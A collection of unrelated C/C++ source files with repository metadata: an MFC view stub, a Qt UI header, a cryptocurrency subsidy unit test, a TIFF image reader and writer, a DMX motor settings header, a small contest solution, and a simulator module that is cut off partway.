[]
no_license
acpanna/coding
8bef9275dc8a6606cc9d687bb3683ead79dacb7c
a0c9a6023c91c5a6f220b9b9f7170f7cb0b12c72
refs/heads/master
2020-12-03T08:13:17.116743
2013-10-01T08:02:47
2013-10-01T08:02:47
null
0
0
null
null
null
null
ISO-8859-1
C++
false
false
2,327
cpp
// FensteranpassungView.cpp : Implementierung der Klasse CFensteranpassungView // #include "stdafx.h" #include "Fensteranpassung.h" #include "FensteranpassungDoc.h" #include "FensteranpassungView.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CFensteranpassungView IMPLEMENT_DYNCREATE(CFensteranpassungView, CView) BEGIN_MESSAGE_MAP(CFensteranpassungView, CView) //{{AFX_MSG_MAP(CFensteranpassungView) // HINWEIS - Hier werden Mapping-Makros vom Klassen-Assistenten eingefügt und entfernt. // Innerhalb dieser generierten Quelltextabschnitte NICHTS VERÄNDERN! //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CFensteranpassungView Konstruktion/Destruktion CFensteranpassungView::CFensteranpassungView() { // ZU ERLEDIGEN: Hier Code zur Konstruktion einfügen, } CFensteranpassungView::~CFensteranpassungView() { } BOOL CFensteranpassungView::PreCreateWindow(CREATESTRUCT& cs) { // ZU ERLEDIGEN: Ändern Sie hier die Fensterklasse oder das Erscheinungsbild, indem Sie // CREATESTRUCT cs modifizieren. return CView::PreCreateWindow(cs); } ///////////////////////////////////////////////////////////////////////////// // CFensteranpassungView Zeichnen void CFensteranpassungView::OnDraw(CDC* pDC) { CFensteranpassungDoc* pDoc = GetDocument(); ASSERT_VALID(pDoc); // ZU ERLEDIGEN: Hier Code zum Zeichnen der ursprünglichen Daten hinzufügen } ///////////////////////////////////////////////////////////////////////////// // CFensteranpassungView Diagnose #ifdef _DEBUG void CFensteranpassungView::AssertValid() const { CView::AssertValid(); } void CFensteranpassungView::Dump(CDumpContext& dc) const { CView::Dump(dc); } CFensteranpassungDoc* CFensteranpassungView::GetDocument() // Die endgültige (nicht zur Fehlersuche kompilierte) Version ist Inline { ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CFensteranpassungDoc))); return (CFensteranpassungDoc*)m_pDocument; } #endif //_DEBUG ///////////////////////////////////////////////////////////////////////////// // CFensteranpassungView Nachrichten-Handler
[ "heiko.vogel@birdworx.de" ]
heiko.vogel@birdworx.de
cc8d11846b40411b49cd3d376359d8a39ee72130
59c47e1f8b2738fc2b824462e31c1c713b0bdcd7
/002-Qt_widget_Concerning/000-Qt-widget-project/WindowsAPP/BST_IDE/global/uifun.h
5911d7ed9244a34890295d6a80508dc57ac2599c
[]
no_license
casterbn/Qt_project
8efcc46e75e2bbe03dc4aeaafeb9e175fb7b04ab
03115674eb3612e9dc65d4fd7bcbca9ba27f691c
refs/heads/master
2021-10-19T07:27:24.550519
2019-02-19T05:26:22
2019-02-19T05:26:22
null
0
0
null
null
null
null
GB18030
C++
false
false
10,262
h
#ifndef UIFUN_H #define UIFUN_H #include "bggen.h" #include "bstui.h" #ifndef DISPLAY #include "picflow.h" #endif #include <QTime> #include <QVector> #include <QDir> #include <QKeyEvent> #ifdef SUPPORT_WIDGET #include <QUiLoader> #endif #ifdef SURRPORT_3D #include <QtOpenGL> #include <QGLWidget> #include <QtGui/qvector3d.h> #include <QtGui/qmatrix4x4.h> #include <QtOpenGL/qglshaderprogram.h> #include "./OpenGL/Windows/include/glut.h" #endif #ifdef SUPPORT_SCENE class GraphicsScene; #elif SUPPORT_WIDGET class UiWidget; #elif SUPPORT_COMEDIT class GraphicsScene; #endif #ifdef SURRPORT_3D class GraphicsGLWidget; #endif #define D_SETCTRL_ZVALUE 10000 //>@设置控件Z序 #define D_MSGCTRL_ZVALUE 10001 //>@消息控件Z序 #define D_PRGCTRL_ZVALUE 10002 //>@进度条控件Z序 #define D_KEYBOARD_ZVALUE 10003//>@键盘控件Z序 #define D_TEXT_ZVALUE 9000//>@文本控件Z序 typedef enum{ SM_NORMAL = 0, SM_PERMANENT, SM_TEMPORARY, SM_HOLD }E_SHOWMODE; inline bool operator==(QPixmap b1, QPixmap b2) { return b1.data_ptr() == b2.data_ptr(); } bool PreprocContent(QString &pContent); class PIX_INFO { public: PIX_INFO() { mGIF = 0; #ifdef SURRPORT_SVG mSVG = 0; #endif } void clear(RC_TYPE pType) { if(pType == RC_PNG) { mPNG = QPixmap(); } else if(pType == RC_GIF) { if(mGIF) { mGIF->deleteLater(); mGIF = 0; } } #ifdef SURRPORT_SVG else if(pType == RC_SVG) { if(mSVG) { mSVG->deleteLater(); mSVG = 0; } } #endif #ifdef SURRPORT_3D else if(pType == RC_3DS) m3DS = -1; #endif } public: QPixmap mPNG; QMovie *mGIF; #ifdef SURRPORT_SVG QSvgRenderer *mSVG; #endif #ifdef SURRPORT_3D GLuint m3DS; #endif }; class RC_INFO { public: RC_INFO() {mRcType = RC_INVALID; clear();} ~RC_INFO() {clear();} void clear(); public: QDomElement mElement; QString mRcFile; //>@资源文件路径 RC_TYPE mRcType; //>@资源类型 PIX_INFO mRcPix; //>@资源图片 QString mTipText; //>@提示文本 QHash<int, QVariant> mParaHash; //>@对于某个资源的参数定义 }; typedef struct _MAP_INFO{ void clear() { mMap = -1; mParaHash.clear(); } int mMap; //>@目标映射 QHash<int, QVariant> mParaHash; //>@对于某个资源的参数定义 } MAP_INFO; typedef struct _FORM_INFO{ void clear() { mParaHash.clear(); } QString mFile; //>@ QString mStyleSheet; QHash<int, QVariant> mParaHash; //>@对于某个资源的参数定义 } FORM_INFO; typedef struct _RECT_INFO{ QRectF m_Rect[2]; //>@0:Vertical } RECT_INFO ; //>@pRect表示的是当不通过Element进行初始化坐标或者当前ui文件中没有此控件时,通过此rect进行初始化ui中的节点以及设置组件位置。 class RcContainer { public: RcContainer( #ifdef SUPPORT_SCENE GraphicsScene *pContainer=0, #elif SUPPORT_WIDGET UiWidget *pContainer=0, #elif SUPPORT_COMEDIT GraphicsScene *pContainer=0, #endif QRectF pRect=QRectF()); ~RcContainer(); void SetUiContainer( #ifdef SUPPORT_SCENE GraphicsScene *pContainer #elif SUPPORT_WIDGET UiWidget *pContainer #elif SUPPORT_COMEDIT GraphicsScene *pContainer #endif ); virtual bool ModifyGeomotery(QStringList pGeoList) {return false;} virtual void SetComGeometory(QRectF pRect) {} virtual bool ModifyMap(QStringList pParaList) {return false;} virtual QString ExecCommand(QString pCommand) {return QString();} QString GetAttribute(QString pEffect, QString pName); bool SetAttribute(QString pEffect, QString pName, QString pValue); bool SetPara(QDomElement &pElement, xmlParse *pParse); //>@修改pElement为结果Element bool GetPara(QDomElement &pElement, xmlParse *pParse); virtual bool WriteReg(quint16 pRegAddr, QByteArray pContent) {return true;} virtual QByteArray ReadReg(quint16 pRegAddr, quint32 pTimeout) {return QByteArray();} MAP_INFO* AddMap(int pSrc, int pMap); bool DelMap(int pSrc); bool DelAllMap(); void RemoveRc(int pKey); FORM_INFO *LoadForm(int pKey, QDomElement pRcElement); RC_INFO *LoadRc(int pKey, QDomElement pRcElement); RC_INFO *LoadPath(int pKey, QString pPixmapName); virtual MAP_INFO* LoadMap(QDomElement pElement); RC_INFO *LoadPixmap(int pKey, QPixmap pPixmap); QPixmap LoadPixmap(QString pPixmapName, QSizeF pSize=QSizeF()); QPixmap ScalePixmap(QPixmap pPixmap, QSizeF pSize=QSizeF()); RC_INFO *CreateRcInfo(QPixmap pPixmap); QString GetPixmapPath(int pKey); QMovie* GetGif(RC_INFO *pRcInfo, QSizeF pSize=QSizeF()); QPixmap GetPixmap(RC_INFO *pRcInfo, QSizeF pSize=QSizeF()); QPixmap GetPixmap(int pKey, QSizeF pSize=QSizeF()); //>@从m_EffectXXX中加载图片 bool hasResource(); virtual void Update() {} int getNextRc(int pCurRcIndex); int getPrevRc(int pCurRcIndex); QPixmap getNextImg(); QPixmap getPrevImg(); void ReleaseEffectGroup(); void ReleaseRC(); bool RefreshRC(); void InitScene( #ifdef SUPPORT_SCENE GraphicsScene* pScene #elif SUPPORT_WIDGET UiWidget* pScene #elif SUPPORT_COMEDIT GraphicsScene* pScene #endif ); void DeleteComponent(); //>@从UI文件中删除此节点的数据 bool InitComponent(QHash<int, RC_INFO*> pRcList, QHash<AREA_OPERATE, AREA_ANIMATE*> pEffectGroup, QRectF pRect=QRectF()); bool InitComponent(QDomElement &pElement, bool pOffset = false); bool InitState(QDomElement pElement); virtual bool InitEffectState(EffectType pStateType, AREA_OPERATE pOperate, QDomElement pElement); //>@直接从文件夹中提取指定前缀的文件作为资源文件 virtual void InitRC(QString pRcPath, QString pPrefix = D_DEFAULT_PREFIX, bool pInititial = true); bool InitSubPara(QString pStateName, QString pLabel, QString pContent); bool InitRcPara(AREA_STYLE* pAreaStyle, QString pCommonPara); virtual bool InitSubRcPara(AREA_STYLE* pAreaStyle, QString pLabel, QString pContent){return false;} bool InitMapPara(MAP_STYLE* pStyle, QString pPara); virtual bool InitSubMapPara(MAP_STYLE* pStyle, QString pLabel, QString pContent){return false;} bool InitEffectPara(AREA_ANIMATE* pAreaEffect, QString pEffectPara); virtual bool InitSubEffectPara(AREA_ANIMATE* pAreaEffect, QString pLabel, QString pContent); //>@转换字符串为特殊数字,用于ParserParameter函数中。 virtual int StrToEnum(QString pString) {return -1;} //>@根据类型转换字符串为QVariant类型 virtual QVariant StrToValue(int pEnum, QString pString) {return QVariant();} virtual void ParserParameter(FORM_INFO *pInfo, QString pParameter); virtual void ParserParameter(MAP_INFO *pInfo, QString pParameter); virtual void ParserParameter(RC_INFO *pInfo, QString pParameter); virtual void Restart() {} virtual bool Start() {return true;} //>@执行完InitEffect需要执行Start来启动特效 QList<EFFECT*> GetDefaultEffects(QString pStateName); EFFECT* GetDefaultEffect(QList<EFFECT*> pEffects, QString pEffectName); EFFECT* GetDefaultEffect(QString pStateName, QString pEffectName); QDomElement GetComStateElement(QString pStateName, QString &pEffectName, QString &pEffectPara); QString GetDefaultEffectPara(QString pStateName, QString pEffectName); QString GetComStateEffect(QString pStateName); QString GetComStateEffectPara(QString pStateName, QString pParaName); QString GetComStateRcFile(QString pStateName, QString pRcName); //>@获得某个界面组件相对路径下的资源文件夹 QString GetRelativeRcLocation(); virtual QRectF GetCurRect(); public: #ifdef IDE ComCategory *m_ComCategory; #endif #ifdef SUPPORT_SCENE QPointer<GraphicsScene> m_UiContainer; #elif SUPPORT_WIDGET QPointer<UiWidget> m_UiContainer; #elif SUPPORT_COMEDIT QPointer<GraphicsScene> m_UiContainer; #endif QDomElement m_ComElement; COM_TYPE m_ComType; QString m_ComPath; QRectF m_ComRect[3]; //>@当前使用的大小坐标 QString m_RcPrefix; //>--------------------------------------------------------------------------------- bool m_ExternRC; //>@指示资源是否为外部带入的,如果是,则在注销时不能删除 //>@Form QHash<int, FORM_INFO*> m_FormList; //>@ //>@RC QList<int> m_RcList; //>@用于查找上一个或下一个资源 QHash<int, RC_INFO*> m_EffectRC; //>@只需要记录路径的资源 AREA_STYLE* m_RcStyle; //>@资源描述 int m_RcIndex; //>@当前正在使用的资源序号 PIXMAP_POINTER m_PixmapPointer; //>@当前正在使用的图片资源 //>@MAP QHash<int, MAP_INFO*> m_MapList; //>@ MAP_STYLE* m_MapStyle; //>@映射描述 //>@EFFECT QHash<AREA_OPERATE, AREA_ANIMATE*> m_EffectGroup; //>@特效描述 bool m_EffectValid; //>@特效使能 }; #endif // LOGFUN_H
[ "1343726739@qq.com" ]
1343726739@qq.com
bc5b8531a9696a9646bcf8a52580a68aecc1c42a
73f31f05b8bb5940558b04e74ad7086122973d5e
/src/test/main_tests.cpp
91a3d64a806509ea076897cc4be4e5072d63d936
[ "MIT" ]
permissive
platincoin-project/platincoin
a616f64989d02340f31408851215f06b2d21c148
e3c4cfc90c37293c1dce8a829b5eb64c587fd33d
refs/heads/master
2021-04-06T08:33:12.143549
2020-02-19T09:10:19
2020-02-19T09:10:19
124,369,122
18
10
null
null
null
null
UTF-8
C++
false
false
1,734
cpp
// Copyright (c) 2014-2016 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "chainparams.h" #include "validation.h" #include "net.h" #include "test/test_bitcoin.h" #include <boost/signals2/signal.hpp> #include <boost/test/unit_test.hpp> BOOST_FIXTURE_TEST_SUITE(main_tests, TestingSetup) BOOST_AUTO_TEST_CASE(subsidy_limit_test) { const Consensus::Params & consensusParams = Params(CBaseChainParams::MAIN).GetConsensus(); CAmount nSum = 0; int nHeight = 1; // skip genesis block // countOfInitialAmountBlocks blocks = 56kk*COIN for (; nHeight <= consensusParams.countOfInitialAmountBlocks; ++nHeight) { CAmount nSubsidy = GetBlockSubsidy(nHeight, consensusParams); BOOST_CHECK(nSubsidy == 6000000 * COIN); nSum += nSubsidy; BOOST_CHECK(MoneyRange(nSubsidy)); } BOOST_CHECK_EQUAL(nSum, 600000000LL*COIN); // next blocks - 0 BOOST_CHECK(GetBlockSubsidy(101, consensusParams) == 0); BOOST_CHECK(GetBlockSubsidy(1001, consensusParams) == 0); BOOST_CHECK(GetBlockSubsidy(10001, consensusParams) == 0); BOOST_CHECK(GetBlockSubsidy(100001, consensusParams) == 0); } bool ReturnFalse() { return false; } bool ReturnTrue() { return true; } BOOST_AUTO_TEST_CASE(test_combiner_all) { boost::signals2::signal<bool (), CombinerAll> Test; BOOST_CHECK(Test()); Test.connect(&ReturnFalse); BOOST_CHECK(!Test()); Test.connect(&ReturnTrue); BOOST_CHECK(!Test()); Test.disconnect(&ReturnFalse); BOOST_CHECK(Test()); Test.disconnect(&ReturnTrue); BOOST_CHECK(Test()); } BOOST_AUTO_TEST_SUITE_END()
[ "support@platin-genesis.com" ]
support@platin-genesis.com
a387f78b64070eb363eb4e128cead6c827a35654
b5a5ce5f08070c957ff74cd2c6495d55acf3d75b
/src/vlCore/plugins/ioTIFF.cpp
ea23cd34b28391eb48f8fa14c8a30c6385040bdb
[ "BSD-2-Clause" ]
permissive
mechmaster/VisualizationLibrary
dadf2ab1f36acb9c3168e167385718aa1a8660c9
32244b76c8534f8cdf53c545a37d085d5b95ee64
refs/heads/master
2021-01-13T15:04:59.360095
2016-12-15T16:34:13
2016-12-15T16:34:13
76,274,291
0
0
null
2016-12-15T16:34:13
2016-12-12T16:25:50
C++
UTF-8
C++
false
false
11,962
cpp
/**************************************************************************************/ /* */ /* Visualization Library */ /* http://visualizationlibrary.org */ /* */ /* Copyright (c) 2005-2010, Michele Bosi */ /* All rights reserved. */ /* */ /* Redistribution and use in source and binary forms, with or without modification, */ /* are permitted provided that the following conditions are met: */ /* */ /* - Redistributions of source code must retain the above copyright notice, this */ /* list of conditions and the following disclaimer. */ /* */ /* - Redistributions in binary form must reproduce the above copyright notice, this */ /* list of conditions and the following disclaimer in the documentation and/or */ /* other materials provided with the distribution. */ /* */ /* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND */ /* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED */ /* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */ /* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR */ /* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES */ /* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; */ /* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON */ /* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */ /* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS */ /* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* */ /**************************************************************************************/ #include "ioTIFF.hpp" #include <vlCore/LoadWriterManager.hpp> #include <vlCore/VisualizationLibrary.hpp> #include <vlCore/FileSystem.hpp> #include <vlCore/VirtualFile.hpp> #include <vlCore/Image.hpp> #include "tiffio.h" // mic fixme: read and write 16 bits images. using namespace vl; namespace { void tiff_error(const char*, const char*, va_list) { vl::Log::error("ioTIFF unspecified error.\n"); } void tiff_warning(const char *, const char *, va_list) { } tsize_t tiff_io_read_func(thandle_t fd, tdata_t buf, tsize_t size) { VirtualFile *fin = (VirtualFile*)fd; long long c = fin->read(buf,size); return (tsize_t)c; } tsize_t tiff_io_write_func(thandle_t fd, tdata_t buf, tsize_t size) { VirtualFile *fin = (VirtualFile*)fd; long long c = fin->write(buf,size); return (tsize_t)c; } toff_t tiff_io_seek_func(thandle_t fd, toff_t off, int i) { VirtualFile*fin = (VirtualFile*)fd; switch(i) { case SEEK_SET: fin->seekSet(off); return (tsize_t)fin->position(); case SEEK_CUR: fin->seekCur(off); return (tsize_t)fin->position(); case SEEK_END: fin->seekEnd(off); return (tsize_t)fin->position(); default: return 0; } } int tiff_io_close_func(thandle_t fd) { VirtualFile*fin = (VirtualFile*)fd; fin->close(); return 0; } toff_t tiff_io_size_func(thandle_t fd) { VirtualFile *fin = (VirtualFile*)fd; return (tsize_t)fin->size(); } int tiff_io_map_func(thandle_t, tdata_t*, toff_t*) { return 0; } void tiff_io_unmap_func(thandle_t, tdata_t, toff_t) { return; } } //----------------------------------------------------------------------------- ref<Image> vl::loadTIFF(const String& path) { ref<VirtualFile> file = defFileSystem()->locateFile(path); if ( !file ) { Log::error( Say("File '%s' not found.\n") << path ); return NULL; } else return loadTIFF(file.get()); } //----------------------------------------------------------------------------- ref<Image> vl::loadTIFF(VirtualFile* file) { file->open(OM_ReadOnly); ref<Image> img = new Image; TIFFSetErrorHandler(tiff_error); TIFFSetWarningHandler(tiff_warning); TIFF* tif = TIFFClientOpen("tiffread", "r", reinterpret_cast<thandle_t>(file), tiff_io_read_func, tiff_io_write_func, tiff_io_seek_func, tiff_io_close_func, tiff_io_size_func, tiff_io_map_func, tiff_io_unmap_func); if (tif) { uint32 w, h; size_t npixels; uint32* raster; TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &w); TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &h); npixels = w * h; raster = (uint32*) _TIFFmalloc(npixels * sizeof (uint32)); if (raster != NULL) { if (TIFFReadRGBAImage(tif, w, h, raster, 0)) { img->allocate2D(w,h,1,vl::IF_RGBA,vl::IT_UNSIGNED_BYTE); memcpy(img->pixels(), raster, img->requiredMemory()); } _TIFFfree(raster); } uint16 orientation = ORIENTATION_TOPLEFT; // default TIFFGetField(tif, TIFFTAG_ORIENTATION, &orientation); if (orientation == ORIENTATION_LEFTBOT ) img->flipVertically(); TIFFClose(tif); } file->close(); return img; } //----------------------------------------------------------------------------- bool vl::isTIFF(VirtualFile* file) { if (!file->open(OM_ReadOnly)) return false; unsigned char byteorder[2]; file->read(byteorder, 2); bool little_endian = byteorder[0] == 'I'; // 'I' == LE, 'M' == BE unsigned short version = file->readUInt16(little_endian); file->close(); if (byteorder[0] != byteorder[1]) return false; if (byteorder[0] != 'M' && byteorder[0] != 'I') return false; if (byteorder[1] != 'M' && byteorder[1] != 'I') return false; if (version != 42) return false; return true; } //----------------------------------------------------------------------------- bool vl::saveTIFF(const Image* image, const String& path) { ref<DiskFile> file = new DiskFile(path); return saveTIFF(image, file.get()); } //----------------------------------------------------------------------------- bool vl::saveTIFF(const Image* src, VirtualFile* fout) { // mic fixme: handle somehow not supported image type, cubemaps, 3d textures, mimaps etc. int w = src->width(); int h = src->height(); int d = src->depth(); if (h == 0) h=1; if (d == 0) d=1; if (src->isCubemap()) d=6; h = h*d; // convert src to IT_UNSIGNED_BYTE / IF_RGBA ref<Image> cimg; if (src->type() != IT_UNSIGNED_BYTE) { cimg = src->convertType(IT_UNSIGNED_BYTE); src = cimg.get(); if (!cimg) { Log::error( Say("saveTIFF('%s'): could not convert src to IT_UNSIGNED_BYTE.\n") << fout->path() ); return false; } } if (src->format() != IF_RGBA) { cimg = src->convertFormat(IF_RGBA); src = cimg.get(); if (!cimg) { Log::error( Say("saveTIFF('%s'): could not convert src to IF_RGBA.\n") << fout->path() ); return false; } } const int SHORT = 3; const int LONG = 4; const int RATIONAL = 5; if (!fout->open(OM_WriteOnly)) { Log::error( Say("TIFF: could not open '%s' for writing.\n") << fout->path() ); return false; } // little endian unsigned char little_endian[] = { 'I', 'I' }; fout->write(little_endian, 2); unsigned short version = 42; fout->writeUInt16(version); unsigned long ifd_offset = 8; fout->writeUInt32(ifd_offset); unsigned short dir_count = 14; fout->writeUInt16(dir_count); unsigned short tag, type; unsigned long count; // WIDTH tag = 256; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16((unsigned short)w); fout->writeUInt16(0); // HEIGHT tag = 257; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16((unsigned short)h); fout->writeUInt16(0); // BITS PER SAMPLE tag = 258; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 4; fout->writeUInt32(count); fout->writeUInt32(10 + dir_count*12 + 4 + 16); // COMPRESSION tag = 259; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16(1); fout->writeUInt16(0); // PHOTOMETRIC INTERPRETATION tag = 262; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16(2); fout->writeUInt16(0); // STRIP OFFSET tag = 273; fout->writeUInt16(tag); type = LONG; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt32(10 + dir_count*12 + 4 + 16 + 8); // SAMPLES PER PIXEL tag = 277; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16(4); fout->writeUInt16(0); // ROWS PER STRIP tag = 278; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16((unsigned short)h); fout->writeUInt16(0); // STRIP BYTE COUNT tag = 279; fout->writeUInt16(tag); type = LONG; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt32(src->requiredMemory()); // X RESOLUTION tag = 282; fout->writeUInt16(tag); type = RATIONAL; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt32(10 + dir_count*12 + 4 + 0); // Y RESOLUTION tag = 283; fout->writeUInt16(tag); type = RATIONAL; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt32(10 + dir_count*12 + 4 + 8); // PLANAR CONFIGURATION tag = 284; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16(1); fout->writeUInt16(0); // RESOLUTION UNIT tag = 296; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16(2); fout->writeUInt16(0); // EXTRA SAMPLES tag = 338; fout->writeUInt16(tag); type = SHORT; fout->writeUInt16(type); count = 1; fout->writeUInt32(count); fout->writeUInt16(0); fout->writeUInt16(0); // next ifd offset fout->writeUInt32(0); // rational1 fout->writeUInt32(72); fout->writeUInt32(1); // rational2 fout->writeUInt32(72); fout->writeUInt32(1); // bits per sample fout->writeUInt16(8); fout->writeUInt16(8); fout->writeUInt16(8); fout->writeUInt16(8); // save the lines in reverse order int y = h; while( y-- ) fout->write(src->pixels()+src->pitch()*y, w*src->bitsPerPixel()/8); fout->close(); return true; } //-----------------------------------------------------------------------------
[ "hello@michelebosi.com" ]
hello@michelebosi.com
0a7a6a873c5e22850c5dbe194ca16691cbfeea5d
0d37a489416e75ff013ebec2fbc2fdad80a521ac
/lib-spiflashstore/include/storeslushdmx.h
169b842531f1b534359a0faadf0a9c9f29bf427e
[]
no_license
JohnSHoover/rpidmx512
fc26f7ee9ead5c1a9cb4dbbac5b4963744d3353d
ed1416b693d28030ba9ae45a25adf0f280bfc70b
refs/heads/master
2022-04-10T17:31:36.334680
2020-04-10T16:48:45
2020-04-10T16:48:45
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,779
h
/** * @file storeslushdmx.h * */ /* Copyright (C) 2019 by Arjan van Vught mailto:info@orangepi-dmx.nl * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef STORESLUSHDMX_H_ #define STORESLUSHDMX_H_ #include "slushdmxparams.h" class StoreSlushDmx: public SlushDmxParamsStore { public: StoreSlushDmx(void); ~StoreSlushDmx(void); void Update(const struct TSlushDmxParams *pSlushDmxParams); void Copy(struct TSlushDmxParams *pSlushDmxParams); void Update(uint8_t nMotorIndex, const struct TSlushDmxParams *ptSlushDmxParams); void Copy(uint8_t nMotorIndex, struct TSlushDmxParams *ptSlushDmxParams); public: static StoreSlushDmx* Get(void) { return s_pThis; } private: static StoreSlushDmx *s_pThis; }; #endif /* STORESLUSHDMX_H_ */
[ "Arjan.van.Vught@gmail.com" ]
Arjan.van.Vught@gmail.com
565085d1b63a914790287227f32cbd722ad2cb1e
601490f589afae6815d51cd831c930d330cdbb3d
/contest/arc/arc029/a.cpp
d55ea3925aafc8144c79abab1f46ee17f0320f81
[]
no_license
hiramekun/CompetitiveProgrammingContests
cd26974d1e8f0b9b2dc3380dcccff00a8fb6833c
1bcb2f840c9b44c438cc8c3d07c72fc5ff78f61a
refs/heads/master
2022-01-02T06:29:36.759306
2021-12-29T00:44:59
2021-12-29T00:44:59
226,824,121
0
0
null
null
null
null
UTF-8
C++
false
false
869
cpp
#include <cstdio> #include <algorithm> #include <iostream> #include <vector> #include <map> #include <unordered_map> #include <cmath> #include <queue> #include <set> using namespace std; typedef long long ll; #define INF int(1e9) #define REP(i, n) for(int i = 0; i < (int)(n); i++) #define REPR(i, n) for(int i = n - 1; i >= 0; i--) #define REPONE(i, n) for(int i = 1; i <= (int)(n); i++) #define EACH(i, mp) for(auto i:mp) #define FOR(i, m, n) for(int i = m;i < n;i++) const int MAX_N = 4; int N, t[MAX_N]; void solve() { int ans = INF; REP(i, pow(2, N)) { int sum1 = 0, sum2 = 0; REP(j, N) { if ((1 & i >> j) == 1) sum1 += t[j]; else sum2 += t[j]; } ans = min(max(sum1, sum2), ans); } cout << ans << endl; } int main() { cin >> N; REP(i, N) cin >> t[i]; solve(); return 0; }
[ "thescript1210@gmail.com" ]
thescript1210@gmail.com
246b2a03fa96b546577a62c84128b282c2c3ef39
cecb4e2d362f2b8d30602dec42946f2b74aaf4cf
/src/DAF/AEManagement/AEMgmt.cc
0ea3bdd9362105c9ce433ce06e2bac27c132e5a8
[ "MIT" ]
permissive
kaleal/RINA
f4819dac38d51f525ba98ff11190549da27d90c7
b1cec2a1f6dff4bbf95a967350cd4d533833a1d0
refs/heads/master
2021-06-24T16:48:24.875361
2017-08-13T20:54:19
2017-08-13T20:54:19
78,782,267
0
0
null
null
null
null
UTF-8
C++
false
false
3,356
cc
// // The MIT License (MIT) // // Copyright (c) 2014-2016 Brno University of Technology, PRISTINE project // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. /** * @file AEMgmt.cc * @author Vladimir Vesely, Kamil Jerabek (ivesely@fit.vutbr.cz, xjerab18@stud.fit.vutbr.cz) * @date Oct 2, 2015 * @brief Kind of a Notification Board for DAF * @detail */ #include "AEMgmt.h" const char* DAF_PAR_USEFANOTIF = "useFANotifier"; const char* DAF_PAR_USEENROLLNOTIF = "useEnrollmentNotifier"; Define_Module(AEMgmt); void AEMgmt::initialize() { //Init signals and listeners initSignalsAndListeners(); //Init pointers initPointers(); initNamingInfo(); } void AEMgmt::handleMessage(cMessage *msg) { } void 